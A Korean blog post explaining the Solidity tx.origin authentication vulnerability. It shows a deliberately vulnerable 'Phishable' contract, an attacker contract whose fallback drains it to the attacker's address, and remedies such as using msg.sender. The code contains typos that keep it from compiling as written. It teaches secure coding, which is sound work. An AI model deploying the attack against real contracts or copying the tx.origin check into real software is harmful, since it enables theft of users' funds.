[Solidity] tx.origin 인증 공격

bolee·2022년 12월 17일
0

솔리디티(Solidity)

목록 보기
4/8
post-thumbnail

tx.origin

  • 솔리디티에는 tx.origin이라는 전역 변수가 있다.
  • tx.origincall을 호출한 계정의 주소를 저장한다.

msg.sneder vs tx.origin

msg.sendertx.origin의 차이점을 알아보기 위해 아래와 같은 상황이 있다고 하자.

해당 상황은 다음과 같다.

  1. 일반 이더리움 지갑 주소에 불과한 Externally Owned Address(EOA)을 가진 사용자가 컨트랙트 A를 배포한다.
  2. 사용자가 컨트랙트 A의 함수 one()을 호출하면 내부의 함수 two()를 호출하고, 해당 함수는 내부적으로 컨트랙트 B의 함수 three()의 함수를 호출한다.

이러한 상황에서 컨트랙트 B에 대해 msg.sender는 컨트랙트 A가 될 것이다.
하지만 tx.origin은 트랜잭션을 시작한 주소가 된다. 즉, 이 경우 사용자(EOA)가 된다.

정리하자면,

  • msg.sender
    • 함수의 호출자
    • 스마트 컨트랙트 또는 사용자(EOA)가 될 수 있다.
  • tx.origin
    • 실제 트랜잭션이 시작한 사용자(EOA)
    • 스마트 컨트랙트는 서명된 트랜잭션을 보낼 수 없기 때문에 tx.origin는 컨트랙트가 될 수 없다.

tx.origin 인증 공격

tx.origin 인증 공격은 위와 같이 스마트 컨트랙트에서 tx.origin을 이용해 인증 작업을 하는 상황에서 실행할 수 있는 공격 방법이다.

예를 들어 다음과 같은 스마트 컨트랙트가 존재한다고 하자.

contract Phishable {
	address public owner;
    
    constructor (address _owner) {
    	owner = _owner;
    }
    
    // 이더를 모으는 fallback 함수
    fallback () external payable {
    	// ...
    }
    
    function withdrawAll(address _recipient) public payable {
    	require(tx.origin == owner);
        _recipiect.transfer(this.balance);
    }
}

해당 컨트랙트는 tx.origin을 통해 인증을 하고 withdrawAll() 함수로 해당 컨트랙트의 이더를 전송하도록 구현되어 있다.
이 경우 공격자는 아래와 같은 컨트랙트를 작성해 공격하여 컨트랙트의 이더를 제한 없이 받을 수 있다.

interface Phishable {
	// ...
	function withdrawAll(address _recipient) external;
}

contract AttackContract {
	Phishable pishableContract;
    address attacker;
    
    constructor (Phishable _phisiableContract, address _attacker) {
    	phishableContract = Phishable(_phishableContract);
        attacker = _attacker;
    }

	// 공격을 위한 fallback 함수
    fallback () external payable {
    	phishableContract.withdrawAll(attacker);
    }
}

위의 공격 컨트랙트는 다음과 같이 실행된다.

  1. 공격자는 owner에게 AttackContract가 일반 계정인 것 처럼 속여 해당 계정에 이더을 보내도록 유도한다.
  2. AttackContract에게 owner가 이더를 보내게 되면, 공격을 위한 fallback 함수가 실행된다.
  3. 해당 fallback 함수는 Phishable 컨트랙트의 withdrawAll() 함수를 호출하는데, 인자로 해커의 계정 주소를 넣는다.
  4. 해당 트랜잭션의 tx.originowner이다.
    • ownerAttackContract에게 이더를 전송해AttackContract의 fallback 함수를 호출했고, 거기서 다시 PhishablewithdrawAll() 함수를 호출했기 때문이다.
    • 이는 tx.origincall을 시작한 계정 정보를 계속 유지하고 있기 때문에 가능하다.
  5. 공격은 성공하고 Phishable 컨트랙트에 모아진 이더는 공격자에게 전송된다!

이처럼 tx.origin을 사용하는 것은 위험하며, 최대한 사용하지 않는 것이 좋다.
솔리디티 공식 문서에서도 사용하지 않는 것을 강력 권장하고 있다.

해결법

  • tx.orgin 대신 msg.sender를 사용하자.
  • 꼭 사용해야하는 상황일 경우 외부 컨트랙트가 현재 컨트랙트를 호출하지 못하게 막기 위해 require(tx.origin == msg.sender)같은 방법을 사용하자.

참고 자료

0개의 댓글